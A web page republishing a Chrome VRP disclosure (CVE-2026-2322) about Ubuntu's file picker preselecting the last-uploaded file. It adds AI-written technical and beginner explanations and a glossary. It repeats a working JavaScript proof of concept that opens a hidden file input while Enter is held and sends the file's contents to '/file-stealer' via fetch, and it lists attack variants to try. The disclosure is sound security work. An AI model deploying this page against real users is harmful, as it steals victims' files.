Skip to content
Info disclosure Advisory Intermediate CVE-2026-2322

Inappropriate implementation in File input (CVE-2026-2322)

On Ubuntu, the file picker for an <input type=file> reopens the last-used directory and preselects the top file, so a malicious page can trigger the picker while the user holds Enter and automatically upload the previously chosen file. An attacker could steal files that the victim had uploaded to other sites.

Robbe Van Roey | PinkDraconian Follow

Originally disclosed on Chrome VRP

Bounty$1,000 Low View original
  • Fix shipped in 51 days

Report description

On Ubuntu (or other Linux-based systems) an attacker can steal files uploaded to other sites with little user interaction.


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

/


The problem

Please describe the technical details of the vulnerability

I discovered that on Ubuntu, whenever you're uploading a file using a <input type=file>, the file selection window automatically opens the folder where from which the previous file upload across any site was made. Furthermore, it even selects the top file in that directory. I found that by tricking a victim into holding the Enter key on their keyboard, a malicious site could automatically select the previously uploaded file and send it to the attacker, without the user having a chance at stopping the attack.

The code below shows a simple PoC to reproduce the issue.

  1. First, go to any website that supports a file upload (In the attached video PoC, this is the example on https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/file#using_file_inputs).
  2. Upload a file from any directory on the filesystem. This mimics a user who has uploaded a file to any site.
  3. Now browse to the attacker's page. If you hold the Enter key on this page, it will automatically open the file picker window. The Enter key being held means that within that window the top file will be selected and uploaded instantaneously.
<p>Hold the "Enter" key</p>
<input type="file" id="fileInput" style="display:none;">
<script>
document.addEventListener('keydown', async e => {
  if (e.key === 'Enter') {
    const fileInput = document.getElementById('fileInput');
    fileInput.click();
    fileInput.addEventListener('change', function() {
      const file = this.files[0];

      console.log('File name:', file.name);
      console.log('File size (bytes):', file.size);
      console.log('MIME type:', file.type);

      const reader = new FileReader();
      reader.onload = function(e) {
        console.log('File content:', e.target.result);
        fetch('/file-stealer?file=' + e.target.result);
      };
      reader.readAsText(file);
    });
  }
})
</script>

I believe that tricking a user into holding the Enter key is a trivial user interaction to achieve. The video PoC that I've attached shows a site that is dressed up a bit more and that requires the holding of this key to load, however one could also easily envision a game where the enter key is used to speed up a car, and thus held.

As a user, I'd like to know that I can safely hold any key on my keyboard without that causing my last uploaded file to be stolen.

Impact analysis

Any remote attacker can host a malicious site that allows the stealing of files uploaded to other sites.


The cause

What version of Chrome have you found the security issue in?

143.0.7499.169

Is the security issue related to a crash?

No, it is not related to a crash.

Choose the type of vulnerability

Site Isolation Bypass

How would you like to be publicly acknowledged for your report?

Robbe Van Roey | PinkDraconian

The original report as published on the Chromium issue tracker, by Robbe Van Roey | PinkDraconian. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Chrome's file picker is the native dialog that opens when a page calls click() on an <input type="file"> element or the user activates one. On Ubuntu, the dialog opens in the folder used for the previous upload across any site. The report concerns how that remembered state interacts with a page that opens the picker while the user holds Enter.

The issue was reported through the Chrome VRP, affects the File input component, and was classified as an inappropriate implementation with a severity of low. The researcher is credited as Robbe Van Roey | PinkDraconian, the affected Chrome version is 143.0.7499.169, and the report was disclosed on 2026-02-10 with a bounty of 1000.00 USD. The researcher selected "Site Isolation Bypass" as the vulnerability type.

Setup

The only precondition is a Linux-based system; the researcher reproduced it on Ubuntu. No accounts, special tooling or elevated privileges are involved. The attacker needs a website the victim visits, and the victim needs to have uploaded at least one file to any site beforehand, so that the file chooser has a previous directory to remember.

Finding it

The researcher noticed that on Ubuntu, whenever a file is uploaded through an <input type=file>, the file selection window automatically opens the folder from which the previous file upload across any site was made. The dialog does not merely start in that folder: it also selects the top file in that directory.

That combination is what makes the behaviour dangerous. If a page can open the picker while the user is holding a key, the held key can confirm the pre-selected file, and the upload completes without the user ever seeing or choosing anything.

Exploitation

The researcher's proof of concept uses a hidden file input and a keydown listener. The page tells the visitor to hold the Enter key; while the key is held, a keydown event opens the picker. The Enter key that is still being held then selects and uploads the top file in that directory.

Step 1: seed the remembered directory

Go to any website that supports a file upload. In the attached video PoC this is the example on https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/file#using_file_inputs. Upload a file from any directory on the filesystem. This mimics a user who has uploaded a file to any site, and it is what causes the chooser to remember that directory.

Step 2: serve the attacker page

The attacker page contains the following code, reproduced exactly as in the report:

HTML
<p>Hold the "Enter" key</p>
<input type="file" id="fileInput" style="display:none;">
<script>
document.addEventListener('keydown', async e => {
  if (e.key === 'Enter') {
    const fileInput = document.getElementById('fileInput');
    fileInput.click();
    fileInput.addEventListener('change', function() {
      const file = this.files[0];

      console.log('File name:', file.name);
      console.log('File size (bytes):', file.size);
      console.log('MIME type:', file.type);

      const reader = new FileReader();
      reader.onload = function(e) {
        console.log('File content:', e.target.result);
        fetch('/file-stealer?file=' + e.target.result);
      };
      reader.readAsText(file);
    });
  }
})
</script>

The input is hidden with display:none, so the visitor sees only the instruction to hold Enter. Each keydown with e.key === 'Enter' calls fileInput.click(), which opens the native picker. A change listener is registered on the input; when the picker returns a file, the handler reads this.files[0], logs its name, size and MIME type, and reads it as text with FileReader.readAsText. In the onload callback the content is sent to the attacker with fetch('/file-stealer?file=' + e.target.result), placing the file contents in the query string of a request to the attacker's own origin.

Step 3: hold Enter on the attacker page

Browse to the attacker's page and hold the Enter key. The page automatically opens the file picker window. Because the key is still held, the top file in the remembered directory is selected and uploaded instantaneously. The change handler then fires and the file content is exfiltrated.

The researcher argues that tricking a user into holding Enter is a trivial interaction to achieve. The attached video PoC shows a site dressed up a bit more, where holding the key is required to load the page, but the researcher also points out that one could easily envision a game where the Enter key is used to speed up a car and is therefore held for long periods.

Root cause

The file chooser on Linux reuses the directory of the previous upload across sites and pre-selects the top entry in that directory. The remembered directory is shared across sites. and the picker can be opened from script in response to a key event, so a held key both opens the dialog and confirms its default selection. The report does not describe any further defence that was in place or why it failed; the behaviour is presented as the implementation itself.

Impact

Any remote attacker can host a malicious site that allows the stealing of files uploaded to other sites. The attack requires the victim to visit the attacker's page and hold the Enter key there. The stolen file is whichever file sits at the top of the remembered directory. The report rates the issue as low severity.

Fix

The report does not describe a fix or a change made in response.

Variants to test

  1. Other keys that produce key repeat and activate the default button in the native dialog, such as Space. A positive result is the picker opening and the pre-selected file being confirmed while the key is held.
  2. Other Linux desktop environments and file chooser backends. A positive result is the same remembered-directory and top-file-selection behaviour across sites.
  3. Pages that require a held key for a legitimate-looking interaction, such as a game or a loading screen. A positive result is the picker opening during normal use of the page rather than through an explicit instruction.
  4. Directories whose top entry is a sensitive file, for example a folder of downloaded documents. A positive result is that file being read and sent to the attacker's origin by the change handler.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

When you upload a file to a website, your browser opens a small window that lets you pick the file from your computer. On Linux, that window is provided by your desktop environment. The report found that this window has a memory. The next time any site asks you to upload a file, the window opens in the same folder you used last time, no matter which site you were on before, and it selects the top file in that folder.

That memory becomes a problem when a website can open the window on its own. The researcher showed that a malicious page can open the file window while you are holding down the Enter key. Because the key is still pressed, the top file in that folder is selected and uploaded instantaneously. The file that gets stolen is whatever sits at the top of the folder you last uploaded from.

The issue was reported through the Chrome VRP, Google's programme that pays people for finding security problems in Chrome. It affects the File input component, the part of the browser that handles <input type="file">, and was classified as an inappropriate implementation with a severity of low. The researcher is credited as Robbe Van Roey | PinkDraconian, the affected Chrome version is 143.0.7499.169, and the report was disclosed on 2026-02-10 with a bounty of 1000.00 USD. The researcher selected "Site Isolation Bypass" as the vulnerability type.

Some words you will meet

Before the details, a few ideas that come back throughout the report.

  • An <input type="file"> element is a piece of a web page that shows an upload button. When you click it, the browser opens the file picker so you can choose a file from your computer.
  • The file picker (also called the file chooser or file dialog) is the window with folders and files that appears when you upload something. On Linux it is provided by the desktop environment, not by Chrome.
  • A user gesture is an action the person actually performs, such as a click or a key press. Browsers often require one before they allow certain sensitive things, because a page should not be able to do them silently.
  • JavaScript is the programming language that runs inside web pages and makes them interactive. The code in this report is JavaScript embedded in an HTML page.
  • A key event is the browser's notification that a key was pressed or released. The keydown event fires when a key goes down. If you keep a key held, the operating system sends that event again and again, which is called key repeat.
  • fetch is a JavaScript function that sends a request to a server. A page can use it to send data to its own server, which is how stolen content leaves your computer in this attack.
  • Exfiltration means getting data out of the victim's machine and into the attacker's hands.
  • Site Isolation is a Chrome feature that keeps different websites in separate compartments so that one site cannot reach another site's data.
  • Origin is the combination of scheme, host and port that identifies a website, for example https://example.com. Two pages with different origins are not supposed to share private state.
  • MIME type is a label that says what kind of file something is, such as text/plain for a text file or image/png for a picture.
  • Query string is the part of a URL after the ?, used to pass small pieces of data to a server.

The setup

The only precondition is a Linux-based system; the researcher reproduced the issue on Ubuntu. No accounts, special tools or administrator rights are involved. The attacker needs a website that the victim visits, and the victim needs to hold the Enter key there. Think of it like a shop assistant who remembers which shelf you took an item from last time and takes you straight back there on your next visit, even if you are now in a different shop.

Finding it

The researcher noticed that on Ubuntu, whenever a file is uploaded through an <input type=file>, the file selection window automatically opens the folder from which the previous file upload across any site was made. The dialog does not merely start in that folder: it also selects the top file in that directory.

That combination is what makes the behaviour dangerous. If a page can open the picker while the user is holding a key, the held key can confirm the pre-selected file, and the upload completes without the user ever seeing or choosing anything. In everyday terms: the assistant not only takes you to the old shelf, but also puts the first item in your basket, and any nudge from you counts as "yes, buy it".

Exploitation

The researcher's proof of concept uses a hidden file input and a keydown listener. A listener is a piece of code that waits for a particular event and then runs. The page tells the visitor to hold the Enter key; while the key is held, the browser's key repeat fires keydown repeatedly, and the first such event opens the picker. The Enter key that is still being held then activates the default action in the dialog, which is the already-selected top file.

Step 1: seed the remembered directory

Go to any website that supports a file upload. In the attached video PoC this is the example on https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/file#using_file_inputs. Upload a file from any directory on the filesystem. This mimics a user who has uploaded a file to any site, and it is what causes the chooser to remember that directory. The step exists because the attack depends on the picker having a memory to exploit; without a previous upload there is nothing to remember.

Step 2: serve the attacker page

The attacker page contains the following code, reproduced exactly as in the report:

HTML
<p>Hold the "Enter" key</p>
<input type="file" id="fileInput" style="display:none;">
<script>
document.addEventListener('keydown', async e => {
  if (e.key === 'Enter') {
    const fileInput = document.getElementById('fileInput');
    fileInput.click();
    fileInput.addEventListener('change', function() {
      const file = this.files[0];

      console.log('File name:', file.name);
      console.log('File size (bytes):', file.size);
      console.log('MIME type:', file.type);

      const reader = new FileReader();
      reader.onload = function(e) {
        console.log('File content:', e.target.result);
        fetch('/file-stealer?file=' + e.target.result);
      };
      reader.readAsText(file);
    });
  }
})
</script>

Line by line, in plain words:

  1. <p>Hold the "Enter" key</p> puts a sentence on the page telling the visitor what to do. This is the social part of the attack: the page has to convince the person to hold the key.
  2. <input type="file" id="fileInput" style="display:none;"> creates the upload element but hides it with display:none, so the visitor never sees an upload button. The id gives it a name, fileInput, so the script can find it later.
  3. <script> starts the JavaScript block.
  4. document.addEventListener('keydown', async e => { tells the browser: whenever a key goes down anywhere on the page, run the following function. The e parameter describes the key event. The async keyword marks the function as one that may wait for things; it does not change the logic here.
  5. if (e.key === 'Enter') { checks whether the key that went down was Enter. Only then does the rest run.
  6. const fileInput = document.getElementById('fileInput'); finds the hidden upload element on the page.
  7. fileInput.click(); pretends the visitor clicked the upload element. This is what opens the file picker window.
  8. fileInput.addEventListener('change', function() { registers a second function that runs when the upload element's value changes, which happens when a file is chosen in the picker.
  9. const file = this.files[0]; takes the first file that the picker returned. this refers to the upload element, and files is the list of chosen files.
  10. The three console.log lines print the file's name, its size in bytes and its MIME type into the browser's developer console. They are for the researcher's own observation and do not send anything.
  11. const reader = new FileReader(); creates a reader object, a built-in tool for reading the contents of a file inside the browser.
  12. reader.onload = function(e) { says what to do once the reading has finished.
  13. console.log('File content:', e.target.result); prints the file's contents to the console.
  14. fetch('/file-stealer?file=' + e.target.result); sends the file contents to the attacker's own server. The contents are placed in the query string of the URL, after ?file=. This is the exfiltration step.
  15. reader.readAsText(file); starts reading the file as text, which triggers the onload function when it is done.
  16. The closing }) and </script> end the listener and the script block.

Step 3: hold Enter on the attacker page

Browse to the attacker's page and hold the Enter key. The page automatically opens the file picker window. Because the key is still held, the top file in the remembered directory is selected and uploaded instantaneously. The change handler then fires and the file content is exfiltrated.

The researcher argues that tricking a user into holding Enter is a trivial interaction to achieve. The attached video PoC shows a site dressed up a bit more, where holding the key is required to load the page, but the researcher also points out that one could easily envision a game where the Enter key is used to speed up a car and is therefore held for long periods.

Root cause

The file chooser on Linux reuses the directory of the previous upload across sites and pre-selects the top entry in that directory. Chrome's file input does not isolate this remembered state per origin, and the picker can be opened from script in response to a key event, so a held key both opens the dialog and confirms its default selection. The report does not describe any further defence that was in place or why it failed; the behaviour is presented as the implementation itself. In other words, the problem is not a broken lock but a design where the shop assistant shares one memory between all shops and treats a nudge as a purchase.

Impact

Any remote attacker can host a malicious site that allows the stealing of files uploaded to other sites. The attack requires the victim to visit the attacker's page and to hold the Enter key there. The stolen file is whichever file sits at the top of the remembered directory. The report rates the issue as low severity.

Fix

The report does not describe a fix or a change made in response.

Variants to test

  1. Other keys that produce key repeat and activate the default button in the native dialog, such as Space. A positive result is the picker opening and the pre-selected file being confirmed while the key is held.
  2. Other Linux desktop environments and file chooser backends. A positive result is the same remembered-directory and top-file-selection behaviour across sites.
  3. Pages that require a held key for a legitimate-looking interaction, such as a game or a loading screen. A positive result is the picker opening during normal use of the page rather than through an explicit instruction.
  4. Directories whose top entry is a sensitive file, for example a folder of downloaded documents. A positive result is that file being read and sent to the attacker's origin by the change handler.

Glossary

  • API: a defined way for one piece of software to ask another to do something, like a menu of allowed requests.
  • Bounty: money paid by a company to someone who reports a security problem to it.
  • Chrome VRP: Google's Vulnerability Reward Program for Chrome, the scheme through which this issue was reported.
  • change event: a notification the browser sends when the value of an input, such as a chosen file, has changed.
  • click(): a JavaScript method that simulates a click on an element, here used to open the file picker.
  • Console: a panel in the browser's developer tools where a page can print messages for debugging.
  • Desktop environment: the software on Linux that draws windows, folders and dialogs, such as the file picker.
  • Exfiltration: sending data out of the victim's machine to the attacker.
  • fetch: a JavaScript function that sends a network request to a server.
  • File input: the <input type="file"> element of a web page, used to upload files.
  • File picker: the window that lets you choose a file from your computer.
  • FileReader: a built-in browser tool for reading the contents of a file chosen by the user.
  • Inappropriate implementation: a vulnerability class meaning the software does what it was coded to do, but the design itself is unsafe.
  • JavaScript: the programming language that runs inside web pages.
  • Key event: a browser notification that a key was pressed or released.
  • Key repeat: the operating system sending the same key event again and again while a key is held down.
  • Listener: code that waits for a particular event and then runs.
  • MIME type: a label describing the kind of file, such as text/plain.
  • Origin: the scheme, host and port that identify a website, such as https://example.com.
  • Proof of concept (PoC): a small demonstration that shows a vulnerability is real.
  • Query string: the part of a URL after ?, used to pass data to a server.
  • Severity: a rating of how serious a vulnerability is, here low.
  • Site Isolation: a Chrome feature that keeps different websites in separate compartments.
  • Site Isolation Bypass: a vulnerability that gets around that separation.
  • User gesture: an action the person actually performs, such as a click or key press.
  • Vulnerability: a weakness in software that someone can abuse to do something harmful.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.